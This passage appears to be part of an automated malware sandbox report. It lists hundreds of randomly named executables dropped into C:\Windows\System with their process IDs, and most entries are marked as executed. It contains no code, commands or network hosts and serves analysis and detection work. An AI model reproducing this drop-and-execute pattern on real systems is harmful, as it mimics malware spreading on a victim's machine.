  - Executes dropped EXE
  PID:3612
- C:\Windows\System\tdGmtIq.exe
  C:\Windows\System\tdGmtIq.exe
  2⤵
  - Executes dropped EXE
  PID:4916
- C:\Windows\System\kFRTBQA.exe
  C:\Windows\System\kFRTBQA.exe
  2⤵
  - Executes dropped EXE
  PID:4596
- C:\Windows\System\DLWiHhB.exe
  C:\Windows\System\DLWiHhB.exe
  2⤵
  - Executes dropped EXE
  PID:4704
- C:\Windows\System\ojUhfyh.exe
  C:\Windows\System\ojUhfyh.exe
  2⤵
  - Executes dropped EXE
  PID:5044
- C:\Windows\System\TOkeTeC.exe
  C:\Windows\System\TOkeTeC.exe
  2⤵
  - Executes dropped EXE
  PID:3952
- C:\Windows\System\CViCkpq.exe
  C:\Windows\System\CViCkpq.exe
  2⤵
  - Executes dropped EXE
  PID:464
- C:\Windows\System\roEsOwB.exe
  C:\Windows\System\roEsOwB.exe
  2⤵
  - Executes dropped EXE
  PID:3152
- C:\Windows\System\ubDMQNY.exe
  C:\Windows\System\ubDMQNY.exe
  2⤵
  - Executes dropped EXE
  PID:4508
- C:\Windows\System\JkqfNJu.exe
  C:\Windows\System\JkqfNJu.exe
  2⤵
  - Executes dropped EXE
  PID:3732
- C:\Windows\System\DNFKyzK.exe
  C:\Windows\System\DNFKyzK.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\sqgQVKm.exe
  C:\Windows\System\sqgQVKm.exe
  2⤵
  - Executes dropped EXE
  PID:1656
- C:\Windows\System\EeJftte.exe
  C:\Windows\System\EeJftte.exe
  2⤵
  - Executes dropped EXE
  PID:3164
- C:\Windows\System\QGDJcGG.exe
  C:\Windows\System\QGDJcGG.exe
  2⤵
  - Executes dropped EXE
  PID:872
- C:\Windows\System\UxKBrJj.exe
  C:\Windows\System\UxKBrJj.exe
  2⤵
  - Executes dropped EXE
  PID:2044
- C:\Windows\System\eNmdKmI.exe
  C:\Windows\System\eNmdKmI.exe
  2⤵
  - Executes dropped EXE
  PID:4048
- C:\Windows\System\JWPvbHk.exe
  C:\Windows\System\JWPvbHk.exe
  2⤵
  - Executes dropped EXE
  PID:4740
- C:\Windows\System\BdHBmJx.exe
  C:\Windows\System\BdHBmJx.exe
  2⤵
  - Executes dropped EXE
  PID:4484
- C:\Windows\System\jXskqxJ.exe
  C:\Windows\System\jXskqxJ.exe
  2⤵
  - Executes dropped EXE
  PID:748
- C:\Windows\System\wLKhBRP.exe
  C:\Windows\System\wLKhBRP.exe
  2⤵
  - Executes dropped EXE
  PID:4104
- C:\Windows\System\iZZWidu.exe
  C:\Windows\System\iZZWidu.exe
  2⤵
  - Executes dropped EXE
  PID:3584
- C:\Windows\System\jfBEZZC.exe
  C:\Windows\System\jfBEZZC.exe
  2⤵
  - Executes dropped EXE
  PID:4532
- C:\Windows\System\GFMCvHw.exe
  C:\Windows\System\GFMCvHw.exe
  2⤵
  - Executes dropped EXE
  PID:4472
- C:\Windows\System\KDNGgrq.exe
  C:\Windows\System\KDNGgrq.exe
  2⤵
  - Executes dropped EXE
  PID:3048
- C:\Windows\System\ZWlRvRT.exe
  C:\Windows\System\ZWlRvRT.exe
  2⤵
  - Executes dropped EXE
  PID:2368
- C:\Windows\System\qqqxZbl.exe
  C:\Windows\System\qqqxZbl.exe
  2⤵
  - Executes dropped EXE
  PID:2712
- C:\Windows\System\LytXqSB.exe
  C:\Windows\System\LytXqSB.exe
  2⤵
  - Executes dropped EXE
  PID:1956
- C:\Windows\System\EQuCeUH.exe
  C:\Windows\System\EQuCeUH.exe
  2⤵
  - Executes dropped EXE
  PID:2148
- C:\Windows\System\caNXaxF.exe
  C:\Windows\System\caNXaxF.exe
  2⤵
  - Executes dropped EXE
  PID:408
- C:\Windows\System\PChurNV.exe
  C:\Windows\System\PChurNV.exe
  2⤵
  - Executes dropped EXE
  PID:4496
- C:\Windows\System\DUZOFUq.exe
  C:\Windows\System\DUZOFUq.exe
  2⤵
  - Executes dropped EXE
  PID:1908
- C:\Windows\System\oeRdFOb.exe
  C:\Windows\System\oeRdFOb.exe
  2⤵
  - Executes dropped EXE
  PID:3272
- C:\Windows\System\JLCIccf.exe
  C:\Windows\System\JLCIccf.exe
  2⤵
  - Executes dropped EXE
  PID:2940
- C:\Windows\System\ujhPjkY.exe
  C:\Windows\System\ujhPjkY.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\mdFcRiD.exe
  C:\Windows\System\mdFcRiD.exe
  2⤵
  - Executes dropped EXE
  PID:3776
- C:\Windows\System\bLbDKee.exe
  C:\Windows\System\bLbDKee.exe
  2⤵
  - Executes dropped EXE
  PID:3736
- C:\Windows\System\hKFmGtG.exe
  C:\Windows\System\hKFmGtG.exe
  2⤵
  - Executes dropped EXE
  PID:3228
- C:\Windows\System\rSmqMFF.exe
  C:\Windows\System\rSmqMFF.exe
  2⤵
  - Executes dropped EXE
  PID:3644
- C:\Windows\System\afdqNVu.exe
  C:\Windows\System\afdqNVu.exe
  2⤵
  - Executes dropped EXE
  PID:3240
- C:\Windows\System\ezEcRGM.exe
  C:\Windows\System\ezEcRGM.exe
  2⤵
  - Executes dropped EXE
  PID:3976
- C:\Windows\System\KcMTlho.exe
  C:\Windows\System\KcMTlho.exe
  2⤵
  - Executes dropped EXE
  PID:2672
- C:\Windows\System\TWJEtcD.exe
  C:\Windows\System\TWJEtcD.exe
  2⤵
  - Executes dropped EXE
  PID:3536
- C:\Windows\System\KgPiKes.exe
  C:\Windows\System\KgPiKes.exe
  2⤵
  - Executes dropped EXE
  PID:4860
- C:\Windows\System\suvxCrA.exe
  C:\Windows\System\suvxCrA.exe
  2⤵
  - Executes dropped EXE
  PID:3084
- C:\Windows\System\lgOCdIu.exe
  C:\Windows\System\lgOCdIu.exe
  2⤵
  - Executes dropped EXE
  PID:1836
- C:\Windows\System\NASxcGN.exe
  C:\Windows\System\NASxcGN.exe
  2⤵
  - Executes dropped EXE
  PID:4260
- C:\Windows\System\FvlnKfC.exe
  C:\Windows\System\FvlnKfC.exe
  2⤵
  - Executes dropped EXE
  PID:376
- C:\Windows\System\SBpSxAa.exe
  C:\Windows\System\SBpSxAa.exe
  2⤵
  - Executes dropped EXE
  PID:4768
- C:\Windows\System\krRBrEA.exe
  C:\Windows\System\krRBrEA.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\tRxKqxD.exe
  C:\Windows\System\tRxKqxD.exe
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Windows\System\MunyEKZ.exe
  C:\Windows\System\MunyEKZ.exe
  2⤵
  - Executes dropped EXE
  PID:4632
- C:\Windows\System\hVwXOmO.exe
  C:\Windows\System\hVwXOmO.exe
  2⤵
  - Executes dropped EXE
  PID:668
- C:\Windows\System\MdHkilF.exe
  C:\Windows\System\MdHkilF.exe
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Windows\System\WrPBvPC.exe
  C:\Windows\System\WrPBvPC.exe
  2⤵
  - Executes dropped EXE
  PID:3880
- C:\Windows\System\ChGKLjA.exe
  C:\Windows\System\ChGKLjA.exe
  2⤵
  - Executes dropped EXE
  PID:412
- C:\Windows\System\JAQVeGQ.exe
  C:\Windows\System\JAQVeGQ.exe
  2⤵
  - Executes dropped EXE
  PID:4892
- C:\Windows\System\ROIEIrM.exe
  C:\Windows\System\ROIEIrM.exe
  2⤵
  - Executes dropped EXE
  PID:4108
- C:\Windows\System\DoEYvjt.exe
  C:\Windows\System\DoEYvjt.exe
  2⤵
  - Executes dropped EXE
  PID:4008
- C:\Windows\System\fJBtTcG.exe
  C:\Windows\System\fJBtTcG.exe
  2⤵
  PID:3268
- C:\Windows\System\AXNRWuC.exe
  C:\Windows\System\AXNRWuC.exe
  2⤵
  PID:3292
- C:\Windows\System\gSFnugB.exe
  C:\Windows\System\gSFnugB.exe
  2⤵
  PID:4312
- C:\Windows\System\ksNKTOn.exe
  C:\Windows\System\ksNKTOn.exe
  2⤵
  PID:2016
- C:\Windows\System\wPkTLlC.exe
  C:\Windows\System\wPkTLlC.exe
  2⤵
  PID:4640
- C:\Windows\System\xPWbgfU.exe
  C:\Windows\System\xPWbgfU.exe
  2⤵
  PID:3024
- C:\Windows\System\UFsLndV.exe
  C:\Windows\System\UFsLndV.exe
  2⤵
  PID:3940
- C:\Windows\System\RUtHhLF.exe
  C:\Windows\System\RUtHhLF.exe
  2⤵
  PID:4744
- C:\Windows\System\btxsOap.exe
  C:\Windows\System\btxsOap.exe
  2⤵
  PID:1400
- C:\Windows\System\bgnvZNw.exe
  C:\Windows\System\bgnvZNw.exe
  2⤵
  PID:4908
- C:\Windows\System\ocHMOdW.exe
  C:\Windows\System\ocHMOdW.exe
  2⤵
  PID:3716
- C:\Windows\System\MdzyTQg.exe
  C:\Windows\System\MdzyTQg.exe
  2⤵
  PID:5112
- C:\Windows\System\XajHxVT.exe
  C:\Windows\System\XajHxVT.exe
  2⤵
  PID:972
- C:\Windows\System\DGVmYLy.exe
  C:\Windows\System\DGVmYLy.exe
  2⤵
  PID:5012
- C:\Windows\System\VAnxtMb.exe
  C:\Windows\System\VAnxtMb.exe
  2⤵
  PID:3972
- C:\Windows\System\euTkhxd.exe
  C:\Windows\System\euTkhxd.exe
  2⤵
  PID:2496
- C:\Windows\System\ghqesbF.exe
  C:\Windows\System\ghqesbF.exe
  2⤵
  PID:624
- C:\Windows\System\dpzXrfd.exe
  C:\Windows\System\dpzXrfd.exe
  2⤵
  PID:60
- C:\Windows\System\klfavKV.exe
  C:\Windows\System\klfavKV.exe
  2⤵
  PID:3156
- C:\Windows\System\BRaQzYp.exe
  C:\Windows\System\BRaQzYp.exe
  2⤵
  PID:3116
- C:\Windows\System\GXcbksn.exe
  C:\Windows\System\GXcbksn.exe
  2⤵
  PID:4784
- C:\Windows\System\UYNDplI.exe
  C:\Windows\System\UYNDplI.exe
  2⤵
  PID:4832
- C:\Windows\System\thLyHXT.exe
  C:\Windows\System\thLyHXT.exe
  2⤵
  PID:5072
- C:\Windows\System\NKhZRKh.exe
  C:\Windows\System\NKhZRKh.exe
  2⤵
  PID:4588
- C:\Windows\System\pFWcNOn.exe
  C:\Windows\System\pFWcNOn.exe
  2⤵
  PID:3996
- C:\Windows\System\CyQmfIJ.exe
  C:\Windows\System\CyQmfIJ.exe
  2⤵
  PID:5136
- C:\Windows\System\IMQFGwV.exe
  C:\Windows\System\IMQFGwV.exe
  2⤵
  PID:5172
- C:\Windows\System\kouUGjU.exe
  C:\Windows\System\kouUGjU.exe
  2⤵
  PID:5200
- C:\Windows\System\PQbyjdy.exe
  C:\Windows\System\PQbyjdy.exe
  2⤵
  PID:5232
- C:\Windows\System\RbsUwJX.exe
  C:\Windows\System\RbsUwJX.exe
  2⤵
  PID:5264
- C:\Windows\System\HTCtVeY.exe
  C:\Windows\System\HTCtVeY.exe
  2⤵
  PID:5292
- C:\Windows\System\XhakvkM.exe
  C:\Windows\System\XhakvkM.exe
  2⤵
  PID:5316
- C:\Windows\System\VhtvvSC.exe
  C:\Windows\System\VhtvvSC.exe
  2⤵
  PID:5356
- C:\Windows\System\XmuWhRp.exe
  C:\Windows\System\XmuWhRp.exe
  2⤵
  PID:5384
- C:\Windows\System\dzygcIN.exe
  C:\Windows\System\dzygcIN.exe
  2⤵
  PID:5420
- C:\Windows\System\CGUfDMX.exe
  C:\Windows\System\CGUfDMX.exe
  2⤵
  PID:5448
- C:\Windows\System\jFsprmt.exe
  C:\Windows\System\jFsprmt.exe
  2⤵
  PID:5480
- C:\Windows\System\XgmWnNT.exe
  C:\Windows\System\XgmWnNT.exe
  2⤵
  PID:5504
- C:\Windows\System\mqlIZZI.exe
  C:\Windows\System\mqlIZZI.exe
  2⤵
  PID:5544
- C:\Windows\System\VTQsTZU.exe
  C:\Windows\System\VTQsTZU.exe
  2⤵
  PID:5560
- C:\Windows\System\mXGOkEK.exe
  C:\Windows\System\mXGOkEK.exe
  2⤵
  PID:5580
- C:\Windows\System\JWvqqCo.exe
  C:\Windows\System\JWvqqCo.exe
  2⤵
  PID:5596
- C:\Windows\System\bWGbsqa.exe
  C:\Windows\System\bWGbsqa.exe
  2⤵
  PID:5624
- C:\Windows\System\xzPztvB.exe
  C:\Windows\System\xzPztvB.exe
  2⤵
  PID:5680
- C:\Windows\System\GiSzDHs.exe
  C:\Windows\System\GiSzDHs.exe
  2⤵
  PID:5728
- C:\Windows\System\KvHmAZS.exe
  C:\Windows\System\KvHmAZS.exe
  2⤵
  PID:5760
- C:\Windows\System\QlEbyWa.exe
  C:\Windows\System\QlEbyWa.exe
  2⤵
  PID:5788
- C:\Windows\System\GIBzYol.exe
  C:\Windows\System\GIBzYol.exe
  2⤵
  PID:5820
- C:\Windows\System\aknlkgv.exe
  C:\Windows\System\aknlkgv.exe
  2⤵
  PID:5852
- C:\Windows\System\UGfdweY.exe
  C:\Windows\System\UGfdweY.exe
  2⤵
  PID:5888
- C:\Windows\System\lFpQAvq.exe
  C:\Windows\System\lFpQAvq.exe
  2⤵
  PID:5916
- C:\Windows\System\xkDrTZo.exe
  C:\Windows\System\xkDrTZo.exe
  2⤵
  PID:5948
- C:\Windows\System\kYezqOG.exe
  C:\Windows\System\kYezqOG.exe
  2⤵
  PID:5976
- C:\Windows\System\qQXOMYC.exe
  C:\Windows\System\qQXOMYC.exe
  2⤵
  PID:6012
- C:\Windows\System\JQmNxQa.exe
  C:\Windows\System\JQmNxQa.exe
  2⤵
  PID:6044
- C:\Windows\System\NPTOZYY.exe
  C:\Windows\System\NPTOZYY.exe
  2⤵
  PID:6072
- C:\Windows\System\Prbjxex.exe
  C:\Windows\System\Prbjxex.exe
  2⤵
  PID:6108
- C:\Windows\System\trcteqP.exe
  C:\Windows\System\trcteqP.exe
  2⤵
  PID:6132
- C:\Windows\System\YIIllsH.exe
  C:\Windows\System\YIIllsH.exe
  2⤵
  PID:5192
- C:\Windows\System\juFFSou.exe
  C:\Windows\System\juFFSou.exe
  2⤵
  PID:5276
- C:\Windows\System\nBdazbP.exe
  C:\Windows\System\nBdazbP.exe
  2⤵
  PID:5368
- C:\Windows\System\FOTjEYf.exe
  C:\Windows\System\FOTjEYf.exe
  2⤵
  PID:5444
- C:\Windows\System\qAgTyCC.exe
  C:\Windows\System\qAgTyCC.exe
  2⤵
  PID:5528
- C:\Windows\System\taVRJhz.exe
  C:\Windows\System\taVRJhz.exe
  2⤵
  PID:5656
- C:\Windows\System\HgUznBf.exe
  C:\Windows\System\HgUznBf.exe
  2⤵
  PID:5712
- C:\Windows\System\nSlBiMJ.exe
  C:\Windows\System\nSlBiMJ.exe
  2⤵
  PID:5708
- C:\Windows\System\wwCUwBy.exe
  C:\Windows\System\wwCUwBy.exe
  2⤵
  PID:5780
- C:\Windows\System\BoOmuTJ.exe
  C:\Windows\System\BoOmuTJ.exe
  2⤵
  PID:5816
- C:\Windows\System\UORbTTg.exe
  C:\Windows\System\UORbTTg.exe
  2⤵
  PID:5968
- C:\Windows\System\eJWDCbx.exe
  C:\Windows\System\eJWDCbx.exe
  2⤵
  PID:6040
- C:\Windows\System\hKJMRZR.exe
  C:\Windows\System\hKJMRZR.exe
  2⤵
  PID:6096
- C:\Windows\System\DhTAlny.exe
  C:\Windows\System\DhTAlny.exe
  2⤵
  PID:1708
- C:\Windows\System\cuozHbT.exe
  C:\Windows\System\cuozHbT.exe
  2⤵
  PID:5228
- C:\Windows\System\TbRrcCO.exe
  C:\Windows\System\TbRrcCO.exe
  2⤵
  PID:5408
- C:\Windows\System\EHCrrSx.exe
  C:\Windows\System\EHCrrSx.exe
  2⤵
  PID:5500
- C:\Windows\System\KQUMBSn.exe
  C:\Windows\System\KQUMBSn.exe
  2⤵
  PID:5688
- C:\Windows\System\quDsfSa.exe
  C:\Windows\System\quDsfSa.exe
  2⤵
  PID:5756
- C:\Windows\System\IJZtJlK.exe
  C:\Windows\System\IJZtJlK.exe
  2⤵
  PID:5872
- C:\Windows\System\mEWcVea.exe
  C:\Windows\System\mEWcVea.exe
  2⤵
  PID:6004
- C:\Windows\System\STdNaKi.exe
  C:\Windows\System\STdNaKi.exe
  2⤵
  PID:6104
- C:\Windows\System\SJxPReN.exe
  C:\Windows\System\SJxPReN.exe
  2⤵
  PID:5344
- C:\Windows\System\luSGWEO.exe
  C:\Windows\System\luSGWEO.exe
  2⤵
  PID:5636
- C:\Windows\System\rHOrift.exe
  C:\Windows\System\rHOrift.exe
  2⤵
  PID:5880
- C:\Windows\System\blKZAgA.exe
  C:\Windows\System\blKZAgA.exe
  2⤵
  PID:5196
- C:\Windows\System\DDfhOza.exe
  C:\Windows\System\DDfhOza.exe
  2⤵
  PID:1724
- C:\Windows\System\ojKZoib.exe
  C:\Windows\System\ojKZoib.exe
  2⤵
  PID:5724
- C:\Windows\System\OUJmbCL.exe
  C:\Windows\System\OUJmbCL.exe
  2⤵
  PID:6152
- C:\Windows\System\BVTxNUf.exe
  C:\Windows\System\BVTxNUf.exe
  2⤵
  PID:6180
- C:\Windows\System\VQKHDGU.exe
  C:\Windows\System\VQKHDGU.exe
  2⤵
  PID:6208
- C:\Windows\System\jcWmDwB.exe
  C:\Windows\System\jcWmDwB.exe
  2⤵
  PID:6236
- C:\Windows\System\SarIXnL.exe
  C:\Windows\System\SarIXnL.exe
  2⤵
  PID:6264
- C:\Windows\System\tahJSnX.exe
  C:\Windows\System\tahJSnX.exe
  2⤵
  PID:6292
- C:\Windows\System\ctbOcQb.exe
  C:\Windows\System\ctbOcQb.exe
  2⤵
  PID:6320
- C:\Windows\System\hgNqDuQ.exe
  C:\Windows\System\hgNqDuQ.exe
  2⤵
  PID:6348
- C:\Windows\System\KZWuGiy.exe
  C:\Windows\System\KZWuGiy.exe
  2⤵
  PID:6376
- C:\Windows\System\fiZWHuC.exe
  C:\Windows\System\fiZWHuC.exe
  2⤵
  PID:6408
- C:\Windows\System\LMHlHRK.exe
  C:\Windows\System\LMHlHRK.exe
  2⤵
  PID:6440
- C:\Windows\System\ubLiNqC.exe
  C:\Windows\System\ubLiNqC.exe
  2⤵
  PID:6488
- C:\Windows\System\AywVqbP.exe
  C:\Windows\System\AywVqbP.exe
  2⤵
  PID:6512
- C:\Windows\System\eLxGtWN.exe
  C:\Windows\System\eLxGtWN.exe
  2⤵
  PID:6548
- C:\Windows\System\dwzDlge.exe
  C:\Windows\System\dwzDlge.exe
  2⤵
  PID:6584
- C:\Windows\System\GbNapOw.exe
  C:\Windows\System\GbNapOw.exe
  2⤵
  PID:6608
- C:\Windows\System\dSfJAlm.exe
  C:\Windows\System\dSfJAlm.exe
  2⤵
  PID:6652
- C:\Windows\System\nqfBgDO.exe
  C:\Windows\System\nqfBgDO.exe
  2⤵
  PID:6704
- C:\Windows\System\oGiaSIK.exe
  C:\Windows\System\oGiaSIK.exe
  2⤵
  PID:6736
- C:\Windows\System\CVCIYDJ.exe
  C:\Windows\System\CVCIYDJ.exe
  2⤵
  PID:6772
- C:\Windows\System\cNaMfCk.exe
  C:\Windows\System\cNaMfCk.exe
  2⤵
  PID:6824
- C:\Windows\System\Lxttloy.exe
  C:\Windows\System\Lxttloy.exe
  2⤵
  PID:6884
- C:\Windows\System\RrbPByA.exe
  C:\Windows\System\RrbPByA.exe
  2⤵
  PID:6924
- C:\Windows\System\zkrrrPS.exe
  C:\Windows\System\zkrrrPS.exe
  2⤵
  PID:6956
- C:\Windows\System\bORMChx.exe
  C:\Windows\System\bORMChx.exe
  2⤵
  PID:6984
- C:\Windows\System\MMcRoCk.exe
  C:\Windows\System\MMcRoCk.exe
  2⤵
  PID:7012
- C:\Windows\System\OdlgFQm.exe
  C:\Windows\System\OdlgFQm.exe
  2⤵
  PID:7040
- C:\Windows\System\YdGXcpG.exe
  C:\Windows\System\YdGXcpG.exe
  2⤵
  PID:7072
- C:\Windows\System\rgQGMzf.exe
  C:\Windows\System\rgQGMzf.exe
  2⤵
  PID:7104
- C:\Windows\System\BYCKYOD.exe
  C:\Windows\System\BYCKYOD.exe
  2⤵
  PID:7144
- C:\Windows\System\monXLOU.exe
  C:\Windows\System\monXLOU.exe
  2⤵
  PID:6172
- C:\Windows\System\MwLQaHF.exe
  C:\Windows\System\MwLQaHF.exe
  2⤵
  PID:6228
- C:\Windows\System\aiZSmyv.exe
  C:\Windows\System\aiZSmyv.exe
  2⤵
  PID:6312
- C:\Windows\System\QDFaOML.exe
  C:\Windows\System\QDFaOML.exe
  2⤵
  PID:6372
- C:\Windows\System\gEsScNU.exe
  C:\Windows\System\gEsScNU.exe
  2⤵
  PID:6436
- C:\Windows\System\AAQbYij.exe
  C:\Windows\System\AAQbYij.exe
  2⤵
  PID:5352
- C:\Windows\System\PxAlAoQ.exe
  C:\Windows\System\PxAlAoQ.exe
  2⤵
  PID:6596
- C:\Windows\System\FWhDQsf.exe
  C:\Windows\System\FWhDQsf.exe
  2⤵
  PID:6700
- C:\Windows\System\OUpltUt.exe
  C:\Windows\System\OUpltUt.exe
  2⤵
  PID:6760
- C:\Windows\System\VNVegwW.exe
  C:\Windows\System\VNVegwW.exe
  2⤵
  PID:6872
- C:\Windows\System\TWuLSzk.exe
  C:\Windows\System\TWuLSzk.exe
  2⤵
  PID:6976
- C:\Windows\System\XefhDvk.exe
  C:\Windows\System\XefhDvk.exe
  2⤵
  PID:7052
- C:\Windows\System\QMxEDxn.exe
  C:\Windows\System\QMxEDxn.exe
  2⤵
  PID:7136
- C:\Windows\System\tdaZmgD.exe
  C:\Windows\System\tdaZmgD.exe
  2⤵
  PID:6204
- C:\Windows\System\YJUMeHN.exe
  C:\Windows\System\YJUMeHN.exe
  2⤵
  PID:6400
- C:\Windows\System\MJWMQKL.exe
  C:\Windows\System\MJWMQKL.exe
  2⤵
  PID:6508
- C:\Windows\System\oxaLxuQ.exe
  C:\Windows\System\oxaLxuQ.exe
  2⤵
  PID:6728
- C:\Windows\System\wgUxnNi.exe
  C:\Windows\System\wgUxnNi.exe
  2⤵
  PID:6944
- C:\Windows\System\EkwLKMo.exe
  C:\Windows\System\EkwLKMo.exe
  2⤵
  PID:7164
- C:\Windows\System\NlGNrbp.exe
  C:\Windows\System\NlGNrbp.exe
  2⤵
  PID:6496
- C:\Windows\System\inYnuPg.exe
  C:\Windows\System\inYnuPg.exe
  2⤵
  PID:6920
- C:\Windows\System\ZVvHIXO.exe
  C:\Windows\System\ZVvHIXO.exe
  2⤵
  PID:6332
- C:\Windows\System\bFgtlvG.exe
  C:\Windows\System\bFgtlvG.exe
  2⤵
  PID:6820
- C:\Windows\System\BkMXXSS.exe
  C:\Windows\System\BkMXXSS.exe
  2⤵
  PID:7192
- C:\Windows\System\VJUMuvj.exe
  C:\Windows\System\VJUMuvj.exe
  2⤵
  PID:7224
- C:\Windows\System\SkSiZOg.exe
  C:\Windows\System\SkSiZOg.exe
  2⤵
  PID:7252
- C:\Windows\System\MpaAMvo.exe
  C:\Windows\System\MpaAMvo.exe
  2⤵
  PID:7272
- C:\Windows\System\KKvxdzF.exe
  C:\Windows\System\KKvxdzF.exe
  2⤵
  PID:7300
- C:\Windows\System\hSeOSwk.exe
  C:\Windows\System\hSeOSwk.exe
  2⤵
  PID:7332
- C:\Windows\System\omSQydx.exe
  C:\Windows\System\omSQydx.exe
  2⤵
  PID:7360
- C:\Windows\System\dbBVylQ.exe
  C:\Windows\System\dbBVylQ.exe
  2⤵
  PID:7388
- C:\Windows\System\ytwXRnL.exe
  C:\Windows\System\ytwXRnL.exe
  2⤵
  PID:7416
- C:\Windows\System\azOHifb.exe
  C:\Windows\System\azOHifb.exe
  2⤵
  PID:7448
- C:\Windows\System\cPhqGmz.exe
  C:\Windows\System\cPhqGmz.exe
  2⤵
  PID:7472
- C:\Windows\System\YRJMaoS.exe
  C:\Windows\System\YRJMaoS.exe
  2⤵
  PID:7500
- C:\Windows\System\fLJleqk.exe
  C:\Windows\System\fLJleqk.exe
  2⤵
  PID:7528
- C:\Windows\System\avwGlsS.exe
  C:\Windows\System\avwGlsS.exe
  2⤵
  PID:7556
- C:\Windows\System\LlLJnoT.exe
  C:\Windows\System\LlLJnoT.exe
  2⤵
  PID:7584
- C:\Windows\System\mqRSZcT.exe
  C:\Windows\System\mqRSZcT.exe
  2⤵
  PID:7612
- C:\Windows\System\vYCLGKW.exe
  C:\Windows\System\vYCLGKW.exe
  2⤵
  PID:7640
- C:\Windows\System\XKXVzXO.exe
  C:\Windows\System\XKXVzXO.exe
  2⤵
  PID:7668
- C:\Windows\System\OewXBWJ.exe
  C:\Windows\System\OewXBWJ.exe
  2⤵
  PID:7696
- C:\Windows\System\CTHxSYU.exe
  C:\Windows\System\CTHxSYU.exe
  2⤵
  PID:7728
- C:\Windows\System\iSRdkFd.exe
  C:\Windows\System\iSRdkFd.exe
  2⤵
  PID:7756
- C:\Windows\System\SdmAuuy.exe
  C:\Windows\System\SdmAuuy.exe
  2⤵
  PID:7784
- C:\Windows\System\QvTxSbM.exe
  C:\Windows\System\QvTxSbM.exe
  2⤵
  PID:7812
- C:\Windows\System\bgOVVDU.exe
  C:\Windows\System\bgOVVDU.exe
  2⤵
  PID:7840
- C:\Windows\System\vMwjXmn.exe
  C:\Windows\System\vMwjXmn.exe
  2⤵
  PID:7868
- C:\Windows\System\PqmMNDm.exe
  C:\Windows\System\PqmMNDm.exe
  2⤵
  PID:7896
- C:\Windows\System\bKzXVNl.exe
  C:\Windows\System\bKzXVNl.exe
  2⤵
  PID:7924
- C:\Windows\System\AOPRHfn.exe
  C:\Windows\System\AOPRHfn.exe
  2⤵
  PID:7952
- C:\Windows\System\VPqVjaO.exe
  C:\Windows\System\VPqVjaO.exe
  2⤵
  PID:7988
- C:\Windows\System\iGIzXHS.exe
  C:\Windows\System\iGIzXHS.exe
  2⤵
  PID:8016
- C:\Windows\System\GOuBzBU.exe
  C:\Windows\System\GOuBzBU.exe
  2⤵
  PID:8048
- C:\Windows\System\BWPksss.exe
  C:\Windows\System\BWPksss.exe
  2⤵
  PID:8080
- C:\Windows\System\LvVJckT.exe
  C:\Windows\System\LvVJckT.exe
  2⤵
  PID:8100
- C:\Windows\System\kLXrpJn.exe
  C:\Windows\System\kLXrpJn.exe
  2⤵
  PID:8128
- C:\Windows\System\OOeZBnd.exe
  C:\Windows\System\OOeZBnd.exe
  2⤵
  PID:8156
- C:\Windows\System\DDJYhrM.exe
  C:\Windows\System\DDJYhrM.exe
  2⤵
  PID:8176
- C:\Windows\System\ZuUwxzy.exe
  C:\Windows\System\ZuUwxzy.exe
  2⤵
  PID:7212
- C:\Windows\System\oyZKUDO.exe
  C:\Windows\System\oyZKUDO.exe
  2⤵
  PID:7284
- C:\Windows\System\amaekdK.exe
  C:\Windows\System\amaekdK.exe
  2⤵
  PID:6876
- C:\Windows\System\BqfzArn.exe
  C:\Windows\System\BqfzArn.exe
  2⤵
  PID:7408
- C:\Windows\System\rVwjsun.exe
  C:\Windows\System\rVwjsun.exe
  2⤵
  PID:7468
- C:\Windows\System\LzUGFuv.exe
  C:\Windows\System\LzUGFuv.exe
  2⤵
  PID:7520
- C:\Windows\System\vFtPIQB.exe
  C:\Windows\System\vFtPIQB.exe
  2⤵
  PID:7580
- C:\Windows\System\BoKATPx.exe
  C:\Windows\System\BoKATPx.exe
  2⤵
  PID:7608
- C:\Windows\System\SfrZYZV.exe
  C:\Windows\System\SfrZYZV.exe
  2⤵
  PID:7692
- C:\Windows\System\NOjPTvI.exe
  C:\Windows\System\NOjPTvI.exe
  2⤵
  PID:7796
- C:\Windows\System\KcEhrTA.exe
  C:\Windows\System\KcEhrTA.exe
  2⤵
  PID:7856
- C:\Windows\System\CJRlVJf.exe
  C:\Windows\System\CJRlVJf.exe
  2⤵
  PID:7936
- C:\Windows\System\QbPOBGw.exe
  C:\Windows\System\QbPOBGw.exe
  2⤵
  PID:8000
- C:\Windows\System\tukocdt.exe
  C:\Windows\System\tukocdt.exe
  2⤵
  PID:8068
- C:\Windows\System\rZZIkbt.exe
  C:\Windows\System\rZZIkbt.exe
  2⤵
  PID:8120
- C:\Windows\System\udjMKmG.exe
  C:\Windows\System\udjMKmG.exe
  2⤵
  PID:8172
- C:\Windows\System\AqFBHyO.exe
  C:\Windows\System\AqFBHyO.exe
  2⤵
  PID:7340
- C:\Windows\System\iNAOdAk.exe
  C:\Windows\System\iNAOdAk.exe
  2⤵
  PID:7512
- C:\Windows\System\bSbMEUK.exe
  C:\Windows\System\bSbMEUK.exe
  2⤵
  PID:7660
- C:\Windows\System\iQTUPpb.exe
  C:\Windows\System\iQTUPpb.exe
  2⤵
  PID:7744
- C:\Windows\System\srkvBwd.exe
  C:\Windows\System\srkvBwd.exe
  2⤵
  PID:7948
- C:\Windows\System\AePiTdL.exe
  C:\Windows\System\AePiTdL.exe
  2⤵
  PID:8088
- C:\Windows\System\HothvSz.exe
  C:\Windows\System\HothvSz.exe
  2⤵
  PID:7184
- C:\Windows\System\IbYjnGo.exe
  C:\Windows\System\IbYjnGo.exe
  2⤵
  PID:7652
- C:\Windows\System\GEeFGIK.exe
  C:\Windows\System\GEeFGIK.exe
  2⤵
  PID:7916
- C:\Windows\System\FVHdlBe.exe
  C:\Windows\System\FVHdlBe.exe
  2⤵
  PID:7704
- C:\Windows\System\rNBqdRg.exe
  C:\Windows\System\rNBqdRg.exe
  2⤵
  PID:7908
- C:\Windows\System\RKTnwdK.exe
  C:\Windows\System\RKTnwdK.exe
  2⤵
  PID:8220
- C:\Windows\System\txdwERN.exe
  C:\Windows\System\txdwERN.exe
  2⤵
  PID:8248
- C:\Windows\System\KiZkqMj.exe
  C:\Windows\System\KiZkqMj.exe
  2⤵
  PID:8276
- C:\Windows\System\RgChNFx.exe
  C:\Windows\System\RgChNFx.exe
  2⤵
  PID:8304
- C:\Windows\System\WrRmHSj.exe
